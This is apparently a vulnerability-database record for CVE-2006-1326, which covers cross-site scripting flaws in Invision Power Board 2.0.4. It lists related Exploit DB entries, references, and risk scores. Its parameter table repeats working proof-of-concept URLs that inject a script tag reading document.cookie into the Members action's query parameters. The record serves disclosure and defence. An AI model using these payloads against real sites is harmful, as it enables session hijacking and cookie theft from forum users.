CVE-2006-1326

🗓️ 21 Mar 2006 01:00:00Reported by mitreType

cve🔗 web.nvd.nist.gov👁 42 Views🌐 WEB

Cross-site scripting (XSS) vulnerabilities in Invision Power Board 2.0.4 allow remote attackers to inject arbitrary web script or HTML

Reporter	Title	Published	Views	Family All 11
Cvelist	CVE-2006-1326	21 Mar 200601:00	–	cvelist
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - Search Action Multiple Cross-Site Scripting Vulnerabilities	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - 'index.php?st' Cross-Site Scripting	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - Calendar Action Multiple Cross-Site Scripting Vulnerabilities	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - Print Action 't' Cross-Site Scripting	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - Mail Action 'MID' Cross-Site Scripting	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Board (IP.Board) 2.0.4 - Help Action 'HID' Cross-Site Scripting	17 Mar 200600:00	–	exploitdb
Exploit DB	Invision Power Services Invision Board 2.0.4 - Members Action Multiple Cross-Site Scripting Vulnerabilities	17 Mar 200600:00	–	exploitdb
EUVD	EUVD-2006-1330	7 Oct 202500:30	–	euvd
NVD	CVE-2006-1326	21 Mar 200601:06	–	nvd

NVD

Node

invision_power_services invision_power_boardMatch2.0.4

Source	Link
securityfocus	www.securityfocus.com/bid/17144
osvdb	www.osvdb.org/25011
securityfocus	www.securityfocus.com/archive/1/428015/100/0/threaded
osvdb	www.osvdb.org/25013
osvdb	www.osvdb.org/25012
osvdb	www.osvdb.org/25015
osvdb	www.osvdb.org/25009
osvdb	www.osvdb.org/25014
osvdb	www.osvdb.org/25010

Parameter	Position	Path	Description	CWE
sort_order	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><script>alert(document.cookie)</script>	XSS in Members action via unsanitized input in query parameters	CWE-79
max_results	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><script>alert(document.cookie)</script>	XSS in Members action via unsanitized input in query parameters	CWE-79
sort_key	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><script>alert(document.cookie)</script>	XSS in Members action via unsanitized input in query parameters	CWE-79
max_results	query param	http://www.example.com/forum/index.php?act=Members&max_results='><script>alert(document.cookie)</script>&sort_key=posts&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79
sort_key	query param	http://www.example.com/forum/index.php?act=Members&max_results='><script>alert(document.cookie)</script>&sort_key=posts&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79
sort_order	query param	http://www.example.com/forum/index.php?act=Members&max_results='><script>alert(document.cookie)</script>&sort_key=posts&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79
sort_key	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key='><script>alert(document.cookie)</script>&sort_order=desc&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79
sort_order	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key='><script>alert(document.cookie)</script>&sort_order=desc&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79
max_results	query param	http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key='><script>alert(document.cookie)</script>&sort_order=desc&sort_order=desc	XSS in Members action via unsanitized input in query parameters	CWE-79

16 Jun 2026 22:22Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.0238